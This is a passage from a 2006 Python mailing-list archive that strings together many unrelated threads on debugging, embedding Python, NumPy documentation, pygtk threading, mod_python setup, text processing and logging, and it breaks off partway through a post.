From: robfalck at gmail.com (robfalck) Date: 30 Oct 2006 13:14:03 -0800 Subject: Python windows interactive. In-Reply-To: <1162241672.682830.189240@b28g2000cwb.googlegroups.com> References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com> Message-ID: <1162242843.691125.297860@k70g2000cwa.googlegroups.com> edit a plain text file, just type one line print "hello, world" Now save that one-line text file as "hello.py". From the command line, in the same directory, type: python hello.py And it should run your script. Python doesnt require line numbers. Happy coding. From fulvio at tm.net.my Tue Oct 24 12:15:09 2006 From: fulvio at tm.net.my (Fulvio) Date: Wed, 25 Oct 2006 00:15:09 +0800 Subject: Debugging In-Reply-To: References: Message-ID: <200610250015.09094.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Tuesday 24 October 2006 00:59, R. Bernstein wrote: > analogous the command of the same name in gdb. That's available as pdb in the same directory. I didn't try it yet. About pydb, I may say that triggered my curiosity and I'll give it a try. > Should you want to somehow build such a debugger script from an > interactive debugging session, "set history" and "set logging" might > be helpful. Well, in my normal use (as I was used to do with "trace" in Arexx :-) ), I'm putting the program on hold and run it from inside pdb. I don't know procedures by use of command file set. In such mode I might seed some breakpoint at keypoint of the program and when there it stops I investigate some of the critical variable used in that point, to see if all goes as expected. F From juho.schultz at pp.inet.fi Thu Oct 5 15:23:47 2006 From: juho.schultz at pp.inet.fi (Juho Schultz) Date: 5 Oct 2006 12:23:47 -0700 Subject: user modules In-Reply-To: <1160067331.530002.178270@h48g2000cwc.googlegroups.com> References: <1160067331.530002.178270@h48g2000cwc.googlegroups.com> Message-ID: <1160076227.300513.183740@c28g2000cwb.googlegroups.com> Juho Schultz wrote: > Cameron Walsh wrote: > > Hi, > > > > I'm writing a python program to analyse and export volumetric data. To > > make development and extension easier, and to make it more useful to the > > public when it is released (LGPL), I would like to enable users to place > > their own python files in a "user_extensions" directory. These files > > would implement a common interface in order for the main program to be > > able to read them and execute the necessary code. > > > > My question is what is the best way of implementing this? > > > > I have investigated importing them as modules, but unless the user > > modifies the main program I cannot see how the main program can learn of > > the existence of specific modules. > > > > One simple solution would be a shell script that adds user_extensions > (or whatever) to $PYTHONPATH and then starts your main program. Sorry... I was typing faster than reading or thinking. You could have a __init__.py file within user_extensions with __all__ = ["package1", "package2"] If you want every python file within some directory in here, you can auto-generate the __init__.py file in user_extension before importing. (Or you could have some sort of tester for new .py files detected and only after you are sure it works, add it.) from user_extensions import * would import everything mentioned in __all__. You also have access to their names through user_extensions.__all__ The last step would be to put the modules into a list. After the import, user_ext_list = [eval(elem) for elem in user_extensions.__all__ ] for ext in user_ext_list: ext.initialize() ext.get_tab_window() From paul at boddie.org.uk Tue Oct 3 07:55:49 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 3 Oct 2006 04:55:49 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> Message-ID: <1159876549.269636.124940@b28g2000cwb.googlegroups.com> Paul Rubin wrote: > "Giovanni Bajo" writes: > > > > Does this smell "Bitkeeper fiasco" to anyone else than me? I probably said as much before, possibly to the distaste of some individuals. Still, the BitKeeper story should serve as a reminder about relinquishing control of infrastructure to some seemingly benevolent third party with their own separate interests. It should especially be a reminder to those who deem Torvalds-style "overt pragmatism" to be virtuous in the face of supposedly ideological realism. Of course, there's presumably a huge gulf between the vendor in this case and the vendor in the BitKeeper case, especially with respect to draconian non-compete clauses and threats to sue one's own customers. However, it's certainly not some kind of heresy to at least question the wisdom of moving community resources and services around in such a way. After all, this situation has been brought about because of a dependence on a supposedly unreliable commercial third party. > Sounds crazy, what's wrong with bugzilla? Well, Bugzilla is a bit of a monster. ;-) Seriously, having installed it, it seems like a relic of the early CGI period with a bunch of files that you're supposed to throw in a CGI directory before performing .htaccess surgery, which they admittedly do for you if you choose to trust that particular method of deployment. Contrast that with various other common Web applications which only put actual CGI programs within the CGI directory, making the whole deployment much cleaner and easier to troubleshoot/maintain, and you can see that there's a serious need for some repackaging work. Sure, there are scripts to help check dependencies, which meant a trip to CPAN (not as joyous as its advocates would have you believe), and there is a nice configuration system in Bugzilla's own Web interface which helps you finish the job off (providing you don't forget something in the 16 pages of settings), but there's always this nasty suspicion that something somewhere probably isn't configured properly. Finally, on the subject of the inner workings of Bugzilla, one is presented with the amusement of diving into Perl to fix stuff: something that not everyone is enthusiastic about. As for Bugzilla's interface, it is telling that some open source projects actually put a layer on top of Bugzilla in order to avoid the complexity of the search interface, although it must be said that recent versions don't seem to immediately throw up the page with 40 or so controls on it, just to search for a bug. That said, the fact that many open source projects continue to use Bugzilla would suggest that they're either not interested in or aware of alternatives (quite possible), or they're reasonably happy with it (also quite possible). Paul From john+news at curioussymbols.com Thu Oct 5 05:17:22 2006 From: john+news at curioussymbols.com (John Pye) Date: Thu, 05 Oct 2006 19:17:22 +1000 Subject: embedding python -- windows specify problems Message-ID: <4524cda2$1@clarion.carno.net.au> Hi all I have been working on some new code that embeds python in an C application. The embedding is working fine under Linux but crashing under Windows (XP) when I reach the following step. PyRun_AnyFile(f,name); If there's some python exception being thrown by the PyRun_AnyFile call, how can I retrieve it from C? Even when the file (f) being run by Python contains only a 'print' statement, the application still crashes on WinXP. The linking to Python seems to be working OK, and the following C code that precedes the above PyRun_AnyFile statement seems to be working fine: PyRun_SimpleString("import ascpy"); PyRun_SimpleString("L = ascpy.Library()"); PyRun_SimpleString("print L"); Can anyone suggest what some good diagnostic steps would be? My embedding code is at the following link. I'm happy to explain the architecture in more detail if that helps. https://pse.cheme.cmu.edu/svn-view/ascend/code/branches/extfn/models/johnpye/extpy/ Any suggestions very much appreciated! Cheers JP From deets at nospam.web.de Wed Oct 11 14:34:44 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Wed, 11 Oct 2006 20:34:44 +0200 Subject: Dive Into Java? In-Reply-To: <4p4hpqFhc4ilU1@individual.net> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de> <4ovcbvFgc2nlU1@individual.net> <4p1jm5Fgpgl7U1@uni-berlin.de> <4p4hpqFhc4ilU1@individual.net> Message-ID: <4p4rq4Fguir3U1@uni-berlin.de> Bjoern Schliessmann schrieb: > Diez B. Roggisch wrote: > >> Yes. You can for example create a constructor for object Foo, >> which then is implicitly chosen when assigning an int to a >> variable of that kind. So it acts as a casting operator. I call >> that wicked, and subtle. >> >> class Foo { >> int _arg; >> public: >> Foo(int arg) { >> _arg = arg; >> } >> }; >> >> int main() { >> Foo f = 10; >> } > > Just looks like Java's > > String spam = "eggs"; You don't seem to understand what is happening here. The fact that string literals in java exist has nothing to do with an implicit type casting as above example shows. >> Who cares for the reason - it is there, isn't it? You are the one >> claiming that a new language should get rid of old concepts, btw. > > Is C++ new? :) IIRC it's well 10 years older than Java, and that's > quite a lot in IT. Apart from this, Java is constantly evolving > (through Sun), where C++ is quite a standard since <= 1998. C++ was new, nobody forced them to keep pointers around. > If I'd like to write a class that is interface compatible to Java's > String, so e.g. that I can use it with "+" operator or the > simplified construction (String a = "b";). That isn't possible with python, too. It _is_ possible with C++, yes, as my own example above shows, but at the cost of complex semantics. And the +-operator can be used when you have a toString-method. > I don't offense compiler optimization, but the clunkiness of > those "special rules for String only" additions. Python has those clunky rules as well as C++ - or don't you write character literals like "abcd" in C++ as well? Where exactly is that clunky? >> The way is not awkward, it is called auto-boxing/unboxing and >> works very well. > > But it looks weird. Why not use classes for basic types? Is > performance really the reason? It kind of splits the language > style. For the same reason ints and floats aren't objects _internally_ in C++ as well - optimization. C++ did go a better way here by treating ints as objects syntactically, but the distinction is most of the times removed from java as well since 1.5. > And this is more than matched by the subtle differences between >> >> Foo a; >> Foo &a; >> Foo *a; > > I don't think that's too subtle. But, perhaps, just because I'm used > to C++. It has a little bit too many compatibility features. > > But I'd rather like to have several options than being forced in one > way. But choices let you make more errors - which was my point from the beginning: java is a limited language, and I don't like it too much. But it makes it hard to do things wrong. C++ makes it hard to make them right. Diez From draghuram at gmail.com Tue Oct 31 15:46:31 2006 From: draghuram at gmail.com (draghuram at gmail.com) Date: 31 Oct 2006 12:46:31 -0800 Subject: Overriding traceback print_exc()? References: Message-ID: <1162327591.593141.198590@i42g2000cwa.googlegroups.com> I usually have a function like this: def get_excinfo_str(): """return exception stack trace as a string""" (exc_type, exc_value, exc_traceback) = sys.exc_info() formatted_excinfo = traceback.format_exception(exc_type, exc_value, exc_traceback) excinfo_str = "".join(formatted_excinfo) del exc_type del exc_value del exc_traceback return(excinfo_str) I can then call it from within "except" and print it to a log file. Raghu. Bob Greschke wrote: > I want to cause any traceback output from my applications to show up in one > of my dialog boxes, instead of in the command or terminal window (between > running on Solaris, Linux, OSX and Windows systems there might not be any > command window or terminal window to show the traceback messages in). Do I > want to do something like override the print_exc (or format_exc?) method of > traceback to get the text of the message and call my dialog box routine? If > that is right how do I do that (monkeying with classes is all still a grey > area to me)? > > I kind of understand using the traceback module to alter the output of > exceptions that I am looking for, but I'm after those pesky ones that should > never happen. :) > > Thanks! > > Bob From fabien.benard at gmail.com Fri Oct 13 06:38:12 2006 From: fabien.benard at gmail.com (fabien.benard at gmail.com) Date: 13 Oct 2006 03:38:12 -0700 Subject: SOAPpy and callback In-Reply-To: <4p94a0Fhr1amU1@uni-berlin.de> References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com> <4p94a0Fhr1amU1@uni-berlin.de> Message-ID: <1160735892.207093.64960@k70g2000cwa.googlegroups.com> SOAP standard doesn't provide any callback, and it looks like SOAPpy doesn't too. I remember using callbacks with Javascript and SOAP in Web pages. I was just wondering if there could be the same with Python. Thanks for your answer. From cfriedalek at gmail.com Wed Oct 25 19:09:53 2006 From: cfriedalek at gmail.com (cfriedalek at gmail.com) Date: 25 Oct 2006 16:09:53 -0700 Subject: win32com problem - Problem Solved In-Reply-To: <1161738939.199723.85120@f16g2000cwb.googlegroups.com> References: <1161738939.199723.85120@f16g2000cwb.googlegroups.com> Message-ID: <1161817793.192169.216710@i3g2000cwc.googlegroups.com> Problem solved. Turns out it was a problem of mistranslating VBS code to Python. The PYTHON line "print str(tet)" casts tet to a string and prints. This is what I thought the VBS line "Str = Tet.ConvertToString()" was doing. But of course "ConvertToString()" is a method of a Tet instance. So in python the correct line should have been "print tet.ConvertToString". Learning all the time. From rdiaz02 at gmail.com Fri Oct 6 15:22:16 2006 From: rdiaz02 at gmail.com (Ramon Diaz-Uriarte) Date: Fri, 6 Oct 2006 21:22:16 +0200 Subject: switching to numpy and failing, a user story In-Reply-To: <1160151980.338496.225670@m7g2000cwm.googlegroups.com> References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> <1159984398.088012.209640@k70g2000cwa.googlegroups.com> <1160142732.752533.266840@m7g2000cwm.googlegroups.com> <1160151980.338496.225670@m7g2000cwm.googlegroups.com> Message-ID: <624934630610061222t27fe1f87k5ab74b9ac8864e7d@mail.gmail.com> On 6 Oct 2006 09:26:23 -0700, Istvan Albert wrote: > sturlamolden wrote: > > > Those involved in the development of NumPy must receive some > > compensation. Financial support to NumPy also ensure that the > > developmentcan continue. I for one does not want to see NumPy as > > Then charge for NumPy ... or write a book *besides* the documentation. > One in which you make good use of NumPy and demonstrate the actual > problem solving process. > > Charging for docs is just shooting yourself in the foot. I beg to disagree with you (even if I'd rather have the docs for free): 1. You have NumPy available, so you can use it. Paying for software is, for many reasons, and for many of us, an absolute show stopper. 2. For many people the "for free" docs and help are enough. 3. As already said, this mechanism allows some people to make a contribution that would otherwise be impossible. For instance, if you use NumPy in your job, and your employer (be that a private business or the public sector if you are paid with tax money) benefits from it, how can you return that back? Ask that the book be bought. Moreover, even if, say, I might be willing to pay for the book, maybe my grad students can't; I might be able to use grant money, to purchase a copy for a grad student. (It is actually interesting that in the R help mailing list there are from time to time suggestions that CDs with R ---even if R is GPL'd software that you can download from the web--- be sellable by the R foundation, as a possible way to allow employers to make a contribution to the R project.) > > Plus that so called documention seems very unwieldy and unattractive, attractiveness is on the eye of the looker, I'd say. A lot of it looks like classical good-looking LaTeX to me. > long winded text, you can't search it, google won't index it -> people > won't find what they are looking for. Many textbooks and reference books are not indexed by google. Yet we pay for them and we use them. These are incoveniences, not fatal blows. Best, R. > > I. > > -- > http://mail.python.org/mailman/listinfo/python-list > -- Ramon Diaz-Uriarte Computational Statistics Team Structural Biology and Biocomputing Programme Spanish National Cancer Centre (CNIO) http://ligarto.org/rdiaz From ironpythonster at gmail.com Fri Oct 13 05:45:57 2006 From: ironpythonster at gmail.com (Kevien Lee) Date: Fri, 13 Oct 2006 17:45:57 +0800 Subject: How to print the CDATA of .xml file? Message-ID: <8c8dcbe30610130245q35b8eb81o951f3c82955b20b6@mail.gmail.com> ---------- Forwarded message ---------- From: "Fredrik Lundh" To: python-list at python.org Date: Fri, 13 Oct 2006 11:03:45 +0200 Subject: Re: How to print the CDATA of .xml file? Kevien Lee wrote: > when i use the minidom to parase the XML file,it would ignored the section > of > the code is: > > _document=minidom.parse("filePath") > _documnetList=_document.getElementsByTagName("NodeArgs") > for _argNode in _documnetList: > print _argNode.nodeValue,_argNode.localName > > when it run. The nodeValue of the CDATA Section is always None,Is my code > error? here's one way to do it, under Python 2.5: import xml.etree.ElementTree as ET tree = ET.parse(filename) for elem in tree.findall(".//NodeArgs"): print elem.findtext("Disp") print elem.findtext("BtmPane/Path") ------------------------------------------------ use Python 2.5 is easy and good, but is there any others way under version 2.4? -------------- next part -------------- An HTML attachment was scrubbed... URL: From carsten at uniqsys.com Fri Oct 20 11:33:36 2006 From: carsten at uniqsys.com (Carsten Haese) Date: Fri, 20 Oct 2006 11:33:36 -0400 Subject: list comprehension (searching for onliners) In-Reply-To: References: <4538C09E.2040408@fmed.uba.ar> <4538C950.1060403@tim.thechases.com> <4538E167.9080408@fmed.uba.ar> Message-ID: <1161358416.23516.19.camel@dot.uniqsys.com> On Fri, 2006-10-20 at 10:53, Fredrik Lundh wrote: > if you want to become a good Python programmer, you really need to get > over that "I need a oneliner" idea. +1 QOTW -Carsten From ebgssth at gmail.com Thu Oct 12 10:13:27 2006 From: ebgssth at gmail.com (js ) Date: Thu, 12 Oct 2006 23:13:27 +0900 Subject: prefix search on a large file In-Reply-To: <1160647737.312386.37800@c28g2000cwb.googlegroups.com> References: <1160647737.312386.37800@c28g2000cwb.googlegroups.com> Message-ID: Thank you for the quick reply. Here're the exact code I executed. (including your code) #!/usr/bin/env python from pprint import pprint as pp data = [ 'foo bar baz', 'foo bar', 'foo', 'food', 'food', # duplicate 'xyzzy', 'plugh', 'xyzzy and plugh are magic', 'zzzz', ] data_sorted_by_len = sorted(data, key=len) data_sorted_by_asc = sorted(data) print "OP trial 1 input"; pp(data) def prefixdel_stupidly(alist): for line in alist[:]: unneeded = [no for no, line2 in enumerate(alist[1:]) if line2.startswith(line) and line != line2] adjust=1 for i in unneeded: del alist[i+adjust] adjust -= 1 return alist def prefixdel_recursively(alist): if len(alist) < 2: return alist unneeded = [no for no, line in enumerate(alist[1:]) if line.startswith(alist[0])] adjust=1 for i in unneeded: del alist[i+adjust] adjust -= 1 return [alist[0]] + prefixdel_recursively(alist[1:]) def prefixdel_by_john(alist): olist = [] for i in xrange(len(alist)-1, 0, -1): if alist[i].startswith(alist[i-1]): continue olist.append(alist[i]) olist.append(alist[0]) return olist if __name__ == '__main__': from timeit import Timer print sorted(prefixdel_stupidly(data_sorted_by_len[:])) print sorted(prefixdel_recursively(data_sorted_by_len[:])) print sorted(prefixdel_by_john(data_sorted_by_asc[:])) t = Timer("prefixdel_stupidly(data_sorted_by_len)", "from __main__ import prefixdel_stupidly, data_sorted_by_len") print t.timeit(number=100000) t = Timer("prefixdel_recursively(data_sorted_by_len)", "from __main__ import prefixdel_recursively, data_sorted_by_len") print t.timeit(number=100000) t = Timer("prefixdel_by_john(data_sorted_by_asc)", "from __main__ import prefixdel_by_john, data_sorted_by_asc") print t.timeit(number=100000) The output is the following: $ python2.5 myprefixdel.py OP trial 1 input ['foo bar baz', 'foo bar', 'foo', 'food', 'food', 'xyzzy', 'plugh', 'xyzzy and plugh are magic', 'zzzz'] ['foo', 'plugh', 'xyzzy', 'zzzz'] ['foo', 'plugh', 'xyzzy', 'zzzz'] ['foo', 'food', 'plugh', 'xyzzy', 'zzzz'] 1.17837095261 1.21182584763 0.737352132797 Your code is much faster than ones I wrote but the result is a little bit different.('food' shoud be removed because 'foo' is in the list) As you pointed out, list[:] must be a big evil but without duplicating the list, the problem become much harder to solve to me. Any practical solution, anyone? From bignose+hates-spam at benfinney.id.au Wed Oct 25 20:58:08 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 26 Oct 2006 10:58:08 +1000 Subject: What's the best IDE? References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> Message-ID: <87k62nlwpr.fsf@benfinney.id.au> "Hakusa at gmail.com" writes: > After researching Komodo, I found it's not free. The only funds I > have are a college fund, and I can't start diping into that until > I'm going to college. Any free AND good IDEs? Please consider trying Python with a powerful editor, instead of a just-for-Python environment. Knowing a powerful editor is a far better investment than a complex tool for a single purpose. -- \ "I hope if dogs ever take over the world, and they chose a | `\ king, they don't just go by size, because I bet there are some | _o__) Chihuahuas with some good ideas." -- Jack Handey | Ben Finney From kingcrowbar.list at gmail.com Wed Oct 25 06:21:47 2006 From: kingcrowbar.list at gmail.com (kingcrowbar.list at gmail.com) Date: 25 Oct 2006 03:21:47 -0700 Subject: pygtk and threading Message-ID: <1161771707.636073.25470@m73g2000cwd.googlegroups.com> Hello Everyone I have been playing a little with pyGTK and threading to come up with simple alert dialog which plays a sound in the background. The need for threading came when in the first version i made, the gui would freeze after clicking the close button until pygame finished playing the sound. In Windows it was acceptable because it could be ignored easily, but in testing on linux (red hat 9) Gnome was throwing up a dialog for killing hanging applications. So now i have a threaded version that seems to work as it should (except not on rh9 beause gtk is to old, but that is getting upgraded to fc5/6 so no matter). So i was hoping to get some general comments about the code as i am not sure if i am doing the gtk or threading correctly (i hope the pygame part is simple enough that i have it right). ##code start## #!/usr/bin/env python """ Simple alert message dialog with sound. Runs a dummy audio function if pygame is missing and not run on Windows. It does work on linux (fc5) but i don't know the name of any wav file so i just copy the Windows tada.wav into same directory as script. """ import sys import threading import time import gobject import gtk import os.path try: import pygame.mixer as pgmixer import pygame.time as pgtime except ImportError: print "pygame not found, using dummy audio" gobject.threads_init() alertmsg = "Ding Dong" class ThreadOne(threading.Thread): """Dialog thread""" stopthread = threading.Event() def __init__(self): super(ThreadOne, self).__init__() self.dialog = gtk.MessageDialog(parent=None, type=gtk.MESSAGE_INFO, buttons=gtk.BUTTONS_NONE, flags=gtk.DIALOG_MODAL, message_format=alertmsg) self.quit = False def run(self): """Run idle sleep loop while stopthread Event is not set""" while not self.stopthread.isSet(): print self, " is running" time.sleep(1) def stop(self): """Set stopthread Event""" self.stopthread.set() class ThreadTwo(threading.Thread): """Audio thread""" stopthread = threading.Event() def __init__(self): super(ThreadTwo, self).__init__() self.quit = False self.cnt = 0 self.killaudio = 0 def run(self): """While audioalert returns True, increment counter""" if (sys.modules.has_key('pygame')) and (sys.platform == 'win32'): while audioalert(): self.cnt += 1 else: while audiodummy(): self.cnt += 1 def stop(self): """Set killaudio flag to 1, set stopthread Event""" self.killaudio = 1 self.stopthread.set() print self, " stop was called" def audiodummy(): """dummy audio playback""" while t2.cnt >= 0 : if t2.killaudio == 0: print 'Beep!' time.sleep(1) else: print 'audiodummy done' return False return True def audioalert(): """ Slightly expanded pygame/examples/sound.py Playback sound and then test for audio channel usage While channel is busy and while killaudio flag is set to 0 Check every second and return True at end of sound playback When killaudio is set to 1 stop the playback and kill the mixer Return False for ThreadTwo.run NOTE: Copy tada.wav from X:\WINDOWS\Media\ """ pgmixer.init(11025) soundfile = os.path.join('.', 'tada.wav') sound = pgmixer.Sound(soundfile) channel = sound.play() while channel.get_busy(): if t2.killaudio == 0: pgtime.wait(1000) else: sound.stop() pgmixer.quit() return False print '[DEBUG] loop number: ', t2.cnt return True t1 = ThreadOne() t2 = ThreadTwo() mainwindow = t1.dialog mainwindow.show_all() mainwindow.connect("destroy", lambda _: gtk.main_quit()) t1.start() t2.start() gtk.main() print 't2.stop' t2.stop() print 't1.stop' t1.stop() ##code end## Thanks for your time. Brendan Mchugh From anthra.norell at vtxmail.ch Mon Oct 30 16:08:29 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Mon, 30 Oct 2006 22:08:29 +0100 Subject: How to convert " " in a string to blank space? In-Reply-To: <1162230252.927146.85800@b28g2000cwb.googlegroups.com> References: <1162229197.315384.79940@f16g2000cwb.googlegroups.com> <1162230252.927146.85800@b28g2000cwb.googlegroups.com> Message-ID: <454669CD.3050106@vtxmail.ch> ??? wrote: > Oh, I didn't make myself clear. > > What I mean is how to convert a piece of html to plain text bu keep as > much format as possible. > > Such as convert " " to blank space and convert
to "\r\n" > > Gary Herron wrote: > >> ??? wrote: >> >>> Is there any simple way to solve this problem? >>> >>> >>> >> Yes, strings have a replace method: >> >> >>>>> s = "abc def" >>>>> s.replace(' ',' ') >>>>> >> 'abc def' >> >> Also various modules that are meant to deal with web and xml and such >> have functions to do such operations. >> >> >> Gary Herron >> > > >>> my_translations = ''' " = " # "
=\r\n" "
=\r\n" # Windows "
=\n" "
=\n" # Linux # Add others to your heart's content ''' >>> import SE # From http://cheeseshop.python.org/pypi/SE/2.2%20beta >>> My_Translator = SE.SE (my_translations) >>> print My_Translator ('ABC DEFG
XYZ') ABC DEFG XYZ SE can also strip tags and translate all HTM escapes and generally lets you do ad hoc translations in seconds. You just write them up, make an SE object from your text an run your data through it. As simple as that. If you wish further explanations, I'll be happy to explain. Frederic From sybrenUSE at YOURthirdtower.com.imagination Mon Oct 23 08:45:50 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Mon, 23 Oct 2006 14:45:50 +0200 Subject: Python and CMS References: <1161546267.578778.35260@h48g2000cwc.googlegroups.com> Message-ID: Kjell Magne Fauske enlightened us with: > I recommend taking a look at Django [1]. It is not a CMS right out > of the box, but writing one using the Django framework is not that > difficult. Django is my favourite as well. It's very easy to start building a dynamic website. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From martin at v.loewis.de Tue Oct 24 15:28:43 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 21:28:43 +0200 Subject: The status of Python and SOAP? In-Reply-To: <1161715924.235584.30790@m7g2000cwm.googlegroups.com> References: <1161715924.235584.30790@m7g2000cwm.googlegroups.com> Message-ID: <453E696B.1010605@v.loewis.de> Thomas W schrieb: > I'm going to give a presentation of python to my co-workers at a very > pro-microsoft workplace. Almost everything we need is currently > supported by the standard distro + the win32all package, but we also > need support for SOAP. I've tried SOAPpy ( didn't get it to compile, > needed a library from a dead site ) and a few others, but I cannot help > the feeling that SOAP isn't very high on the list of priorities in the > python community. I hope I'm wrong. You are right. It is not very high on the list of priorities. Regards, Martin From martin at v.loewis.de Sun Oct 15 10:45:44 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 15 Oct 2006 16:45:44 +0200 Subject: Where I can find In-Reply-To: <1160919699.354038.213920@k70g2000cwa.googlegroups.com> References: <1160919699.354038.213920@k70g2000cwa.googlegroups.com> Message-ID: <45324998$0$6362$9b622d9e@news.freenet.de> vedran_dekovic at yahoo.com schrieb: > Where I can find this files(modules): > > fcntl,FCNTL,tty,termios, TERMIOS They are included in the standard installation of Python. Notice that some of them work only on Unix. Also notice that FCNTL no longer exist; I'm not sure whether TERMIOS ever existed. Regards, Martin From jstroud at mbi.ucla.edu Wed Oct 4 07:29:11 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Wed, 04 Oct 2006 11:29:11 GMT Subject: Python/Tkinter crash. In-Reply-To: References: Message-ID: Hendrik van Rooyen wrote: > Hi, > > I get the following: > > hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py > UpdateStringProc should not be invoked for type font > Aborted > > and I am back at the bash prompt - this is most frustrating, as there is no > friendly traceback to help me guess where its coming from. > > And what is worse, the script runs for a varying time before it simply exits > like this. > > What can I do to dig deeper to try to find a clue? - I don't even know if its > Python, Tkinter or Linux... > > Some background: > > The application is a prototype gui for a controller of an injection moulding > machine. > It has two rows of five buttons across the top, and a canvas containing various > objects over the rest of the screen. > Extensive use is made of configure to change the text of the buttons, as well as > their command bindings, > to keep "the state of the system" current - its quite a hack at this time, as I > am still experimenting with getting the interface intuitive. > On the canvas, there are multiple instances of a Meter class to show things like > temperatures and pressures, > as well as a schematic representation of the machine, created out of polygons > and lines. > The schematic, as well as the Meters, are crudely animated by deleting and > redrawing the objects repetitively with slightly different parameters in > response to button presses. This is done by starting different threads to > implement the various motions, which repetitively call kill and draw methods in > the main app, after which they (the threads) commit seppoku by returning. > > Everything seems to work fine. - there is a thread that runs to move the meter > values around continuously, and this has been stable for some time now, and I > can get the various "machine" parts to move around the screen by pushing the > buttons. > The trouble occurs when I put the "machine" into Auto mode, simulating the > various motions in a loop, - it runs for anything from a few tens to a few > hundreds of cycles before handing in its dinner pail like this. > > Any Ideas on what to do next to find the culprit? > > - Hendrik > Minimal source code to reproduce this error would help tremendously. From marko_m at hotmail.it Sat Oct 28 09:19:24 2006 From: marko_m at hotmail.it (dan84) Date: 28 Oct 2006 06:19:24 -0700 Subject: PROBLEM with MOD_PYTHON Message-ID: <1162041564.610155.278270@h48g2000cwc.googlegroups.com> I don't understand this error , in the (Apache) errorlog I read this message : [Sat Oct 28 14:04:03 2006] [error] make_obcallback: could not import mod_python.apache.\n [Sat Oct 28 14:04:03 2006] [error] make_obcallback: Python path being used "['C:\\\\Python24\\\\python24.zip', '.\\\\DLLs', '.\\\\lib', '.\\\\lib\\\\plat-win', '.\\\\lib\\\\lib-tk', 'C:\\\\Programmi\\\\Apache Group\\\\Apache2\\\\bin']". [Sat Oct 28 14:04:03 2006] [error] python_handler: no interpreter callback found. [Sat Oct 28 14:04:03 2006] [error] [client 127.0.0.1] python_handler: Can't get/create interpreter. I have Apache/2.0.59 (Win32) mod_python/3.2.10 Python/2.4.3 I have read all the manuals, but I don't understand where I am wrong. thanks so much Marco. From johnjsal at NOSPAMgmail.com Thu Oct 19 10:21:09 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 19 Oct 2006 14:21:09 GMT Subject: A suggestion/request for IDEs Message-ID: I apologize for the slightly off-topic nature, but I thought I'd just throw this out there for anyone working on text editors or IDEs with auto-completion. I think it should be a feature, when an item is selected for auto-completion in a drop-down box, that pressing the spacebar (in addition to tab or enter) will automatically finish the word and add a space. This is how Microsoft's new IDEs for .NET work, and I found it very helpful to be able to just press space as normal and keep typing. I know it sounds minor, but I find it to be a time saver instead of having to press tab or enter, and then also the spacebar. Thanks. From g.brandl-nospam at gmx.net Sat Oct 28 14:36:10 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Sat, 28 Oct 2006 20:36:10 +0200 Subject: what is "@param" in docstrings? In-Reply-To: <1162059000.915118.313070@f16g2000cwb.googlegroups.com> References: <1162059000.915118.313070@f16g2000cwb.googlegroups.com> Message-ID: georgeryoung at gmail.com wrote: > I'm starting to read about twisted and I keep seeing things like: > [from twisted/internet/app.py] > > def __init__(self, name, uid=None, gid=None, authorizer=None, > authorizer_=None): > """Initialize me. > If uid and gid arguments are not provided, this application > will > default to having the uid and gid of the user and group who > created it. > > @param name: a name > > @param uid: (optional) a POSIX user-id. Only used on POSIX > systems. > > @param gid: (optional) a POSIX group-id. Only used on POSIX > systems. > """ > _AbstractServiceCollection.__init__(self) > self.name = name > ... > > What does the "@param" mean? It looks like something meant to be > machine readable. Alas, googling on "@param" doesn't work... It looks > at first like a decorator, but that doesn't make much sense. It's docstring markup that can be parsed by e.g. epydoc. It's borrowed from JavaDoc's similar syntax. Georg From vinay_sajip at yahoo.co.uk Sat Oct 7 12:41:33 2006 From: vinay_sajip at yahoo.co.uk (Vinay Sajip) Date: 7 Oct 2006 09:41:33 -0700 Subject: Multiple calls to logging.config.fileConfig References: <1160041377.361490.278710@m7g2000cwm.googlegroups.com> Message-ID: <1160239293.505460.160830@i3g2000cwc.googlegroups.com> logging.config.fileConfig() does not do incremental configuration - it replaces the existing configuration with the configuration in the file passed to fileConfig. While this might not be too useful for your current needs, the present behaviour is by design...fileConfig is meant to choose between one of a number of configurations (e.g. development, test, production) and not for incremental configuration. Regards, Vinay Sajip From http Wed Oct 25 22:44:14 2006 From: http (Paul Rubin) Date: 25 Oct 2006 19:44:14 -0700 Subject: question about True values References: <7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar> Message-ID: <7xejsv3if5.fsf@ruckus.brouhaha.com> Max Erickson writes: > > [Steve:] There's still a very obvious omission ... > > bool. > > unicode and long if you are fussy. There's another. Imagine a datatype for Discordian religious leaders and consider what a genderless one would be called. From rcrida at gmail.com Fri Oct 20 08:12:30 2006 From: rcrida at gmail.com (Robert) Date: 20 Oct 2006 05:12:30 -0700 Subject: Logging with Logger hierarchies Message-ID: <1161346350.030708.319880@i3g2000cwc.googlegroups.com> Hi all I have been trying to set up a framework with logging implemented using the built in Python logging module. For better or worse, I have decided to base the logger names on the module names. This means that I am using multiple layers of name, eg logging.getLogger("a.b.c"). I am also using logging.config to load a file configuration but have been experiencing some unexpected behaviour. If for instance I have something resembling the following code: import logging import logging.config 